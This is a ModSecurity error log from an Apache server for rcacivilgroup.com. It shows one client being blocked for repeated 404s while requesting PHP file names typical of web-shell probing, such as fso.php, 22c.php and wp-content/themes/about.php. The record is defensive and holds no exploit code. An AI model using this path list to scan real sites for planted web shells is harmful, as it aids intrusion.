[Tue Mar 24 05:38:34.627465 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:28728] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pwyjwrfr.php"] [unique_id "acGy2pdZesutm6dfYM_hUQAAANM"]
[Tue Mar 24 05:38:35.996181 2026] [:error] [pid 3137:tid 3151] [client 172.213.136.15:22214] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indexs.php"] [unique_id "acGy25dZesutm6dfYM_hWQAAAMw"]
[Tue Mar 24 05:38:37.100108 2026] [:error] [pid 3031:tid 3087] [client 172.213.136.15:21907] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indexs.php"] [unique_id "acGy3aJBKytnG47nuibapwAAAEs"]
[Tue Mar 24 05:38:37.877816 2026] [:error] [pid 3031:tid 3095] [client 172.213.136.15:42905] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indexs.php"] [unique_id "acGy3aJBKytnG47nuibaqAAAAFM"]
[Tue Mar 24 05:38:39.006533 2026] [:error] [pid 3031:tid 3099] [client 172.213.136.15:39519] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indexs.php"] [unique_id "acGy36JBKytnG47nuibaqgAAAFc"]
[Tue Mar 24 05:38:40.400557 2026] [:error] [pid 3032:tid 3127] [client 172.213.136.15:6237] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fso.php"] [unique_id "acGy4Ca_-JXXD03-JNzGhAAAAJc"]
[Tue Mar 24 05:38:41.307806 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:6252] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fso.php"] [unique_id "acGy4fwkUqN4GJAI5oV1lgAAAQ4"]
[Tue Mar 24 05:38:42.645848 2026] [:error] [pid 38767:tid 38790] [client 172.213.136.15:34251] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fso.php"] [unique_id "acGy4vwkUqN4GJAI5oV1lwAAARQ"]
[Tue Mar 24 05:38:44.253335 2026] [:error] [pid 38767:tid 38770] [client 172.213.136.15:20926] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fso.php"] [unique_id "acGy5PwkUqN4GJAI5oV1mAAAAQA"]
[Tue Mar 24 05:38:45.735397 2026] [:error] [pid 3031:tid 3094] [client 172.213.136.15:30775] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "acGy5aJBKytnG47nuibasAAAAFI"]
[Tue Mar 24 05:38:46.701197 2026] [:error] [pid 3032:tid 3128] [client 172.213.136.15:25269] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "acGy5ia_-JXXD03-JNzGjwAAAJg"]
[Tue Mar 24 05:38:49.556211 2026] [:error] [pid 3030:tid 3068] [client 172.213.136.15:21345] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "acGy6QyOuILyynfcqfn1VQAAABM"]
[Tue Mar 24 05:38:51.060454 2026] [:error] [pid 3030:tid 3050] [client 172.213.136.15:30485] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "acGy6wyOuILyynfcqfn1VwAAAAE"]
[Tue Mar 24 05:38:52.998883 2026] [:error] [pid 38767:tid 38775] [client 172.213.136.15:25248] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alf.php"] [unique_id "acGy7PwkUqN4GJAI5oV1nAAAAQU"]
[Tue Mar 24 05:38:53.944874 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:32926] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alf.php"] [unique_id "acGy7fwkUqN4GJAI5oV1ngAAAQs"]
[Tue Mar 24 05:38:55.417804 2026] [:error] [pid 3032:tid 3118] [client 172.213.136.15:22565] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alf.php"] [unique_id "acGy7ya_-JXXD03-JNzGlgAAAI8"]
[Tue Mar 24 05:38:57.075958 2026] [:error] [pid 3031:tid 3088] [client 172.213.136.15:21947] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alf.php"] [unique_id "acGy8aJBKytnG47nuibauQAAAEw"]
[Tue Mar 24 05:38:58.779206 2026] [:error] [pid 3031:tid 3085] [client 172.213.136.15:22042] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sto.php"] [unique_id "acGy8qJBKytnG47nuibavAAAAEk"]
[Tue Mar 24 05:39:00.231523 2026] [:error] [pid 3031:tid 3080] [client 172.213.136.15:26393] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sto.php"] [unique_id "acGy9KJBKytnG47nuibawAAAAEQ"]
[Tue Mar 24 05:39:01.189682 2026] [:error] [pid 3032:tid 3110] [client 172.213.136.15:25234] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sto.php"] [unique_id "acGy9Sa_-JXXD03-JNzGlwAAAIc"]
[Tue Mar 24 05:39:04.361623 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:26781] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sto.php"] [unique_id "acGy-JdZesutm6dfYM_hlQAAAM8"]
[Tue Mar 24 05:39:06.888534 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:30513] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fresh.php"] [unique_id "acGy-vwkUqN4GJAI5oV1vgAAAQQ"]
[Tue Mar 24 05:39:08.364676 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:28418] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fresh.php"] [unique_id "acGy_PwkUqN4GJAI5oV1wQAAARI"]
[Tue Mar 24 05:39:27.395262 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:34691] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin-header.php"] [unique_id "acGzD_wkUqN4GJAI5oV19AAAAQM"]
[Tue Mar 24 05:39:29.713066 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:36085] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin-header.php"] [unique_id "acGzEfwkUqN4GJAI5oV1_AAAARE"]
[Tue Mar 24 05:39:31.321661 2026] [:error] [pid 3031:tid 3097] [client 172.213.136.15:34775] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin-header.php"] [unique_id "acGzE6JBKytnG47nuiba3QAAAFU"]
[Tue Mar 24 05:39:32.725121 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:33719] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin-header.php"] [unique_id "acGzFPwkUqN4GJAI5oV2AwAAAQM"]
[Tue Mar 24 05:39:34.456918 2026] [:error] [pid 3032:tid 3111] [client 172.213.136.15:44552] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/about.php"] [unique_id "acGzFia_-JXXD03-JNzGsQAAAIg"]
[Tue Mar 24 05:39:35.904267 2026] [:error] [pid 3032:tid 3115] [client 172.213.136.15:22024] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/about.php"] [unique_id "acGzFya_-JXXD03-JNzGuQAAAIw"]
[Tue Mar 24 05:39:37.845942 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:26145] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/about.php"] [unique_id "acGzGfwkUqN4GJAI5oV2CgAAARE"]
[Tue Mar 24 05:39:39.042967 2026] [:error] [pid 3137:tid 3159] [client 172.213.136.15:23732] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/about.php"] [unique_id "acGzG5dZesutm6dfYM_hxgAAANQ"]
[Tue Mar 24 05:39:41.088686 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:34704] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/22c.php"] [unique_id "acGzHfwkUqN4GJAI5oV2EgAAAQM"]
[Tue Mar 24 05:39:42.715841 2026] [:error] [pid 3137:tid 3155] [client 172.213.136.15:26133] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/22c.php"] [unique_id "acGzHpdZesutm6dfYM_h0AAAANA"]
[Tue Mar 24 05:39:43.892627 2026] [:error] [pid 3032:tid 3118] [client 172.213.136.15:42500] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/22c.php"] [unique_id "acGzHya_-JXXD03-JNzGvQAAAI8"]
[Tue Mar 24 05:39:45.913504 2026] [:error] [pid 3031:tid 3089] [client 172.213.136.15:6246] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/22c.php"] [unique_id "acGzIaJBKytnG47nuiba5gAAAE0"]
[Tue Mar 24 05:39:46.771003 2026] [:error] [pid 3032:tid 3110] [client 172.213.136.15:30756] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/batm.php"] [unique_id "acGzIia_-JXXD03-JNzGvwAAAIc"]
[Tue Mar 24 05:39:47.442215 2026] [:error] [pid 3137:tid 3161] [client 172.213.136.15:23715] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/batm.php"] [unique_id "acGzI5dZesutm6dfYM_h3AAAANY"]
[Tue Mar 24 05:39:49.245086 2026] [:error] [pid 3030:tid 3068] [client 172.213.136.15:34725] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/batm.php"] [unique_id "acGzJQyOuILyynfcqfn1ZgAAABM"]
[Tue Mar 24 05:39:50.179111 2026] [:error] [pid 3030:tid 3063] [client 172.213.136.15:25973] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/batm.php"] [unique_id "acGzJgyOuILyynfcqfn1agAAAA4"]
[Tue Mar 24 05:39:51.920005 2026] [:error] [pid 3137:tid 3155] [client 172.213.136.15:21273] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/halo.php"] [unique_id "acGzJ5dZesutm6dfYM_h4QAAANA"]
[Tue Mar 24 05:39:53.127947 2026] [:error] [pid 3137:tid 3159] [client 172.213.136.15:42886] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/halo.php"] [unique_id "acGzKZdZesutm6dfYM_h5gAAANQ"]
[Tue Mar 24 05:39:54.850692 2026] [:error] [pid 38767:tid 38771] [client 172.213.136.15:28673] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/halo.php"] [unique_id "acGzKvwkUqN4GJAI5oV2JgAAAQE"]
[Tue Mar 24 05:39:56.278500 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:23589] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/halo.php"] [unique_id "acGzLPwkUqN4GJAI5oV2KwAAARU"]
[Tue Mar 24 05:39:57.530948 2026] [:error] [pid 3137:tid 3155] [client 172.213.136.15:26512] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "acGzLZdZesutm6dfYM_h8AAAANA"]
[Tue Mar 24 05:39:58.726746 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:21258] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "acGzLvwkUqN4GJAI5oV2LQAAAQw"]
[Tue Mar 24 05:39:59.849292 2026] [:error] [pid 3032:tid 3121] [client 172.213.136.15:21311] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "acGzLya_-JXXD03-JNzG0QAAAJI"]
[Tue Mar 24 05:40:01.716077 2026] [:error] [pid 3032:tid 3112] [client 172.213.136.15:24427] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1aa.php"] [unique_id "acGzMSa_-JXXD03-JNzG2AAAAIk"]
[Tue Mar 24 05:40:02.814445 2026] [:error] [pid 3032:tid 3115] [client 172.213.136.15:27032] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/M1.php"] [unique_id "acGzMia_-JXXD03-JNzG3QAAAIw"]
[Tue Mar 24 05:40:03.817823 2026] [:error] [pid 3031:tid 3086] [client 172.213.136.15:30983] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/M1.php"] [unique_id "acGzM6JBKytnG47nuiba8QAAAEo"]
[Tue Mar 24 05:40:04.691943 2026] [:error] [pid 38767:tid 38770] [client 172.213.136.15:38381] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/M1.php"] [unique_id "acGzNPwkUqN4GJAI5oV2MQAAAQA"]
[Tue Mar 24 05:40:05.766738 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:32178] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/M1.php"] [unique_id "acGzNfwkUqN4GJAI5oV2OQAAAQ8"]
[Tue Mar 24 05:40:06.519140 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:27628] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/family.php"] [unique_id "acGzNvwkUqN4GJAI5oV2PQAAARE"]
[Tue Mar 24 05:40:07.348017 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:30793] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/family.php"] [unique_id "acGzN_wkUqN4GJAI5oV2QwAAAQQ"]
[Tue Mar 24 05:40:09.359666 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:21277] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/family.php"] [unique_id "acGzOfwkUqN4GJAI5oV2UwAAAQI"]
[Tue Mar 24 05:40:10.156016 2026] [:error] [pid 3032:tid 3124] [client 172.213.136.15:38355] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/family.php"] [unique_id "acGzOia_-JXXD03-JNzG5wAAAJU"]
[Tue Mar 24 05:40:11.800004 2026] [:error] [pid 3031:tid 3079] [client 172.213.136.15:7106] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/media.php"] [unique_id "acGzO6JBKytnG47nuibbAAAAAEM"]
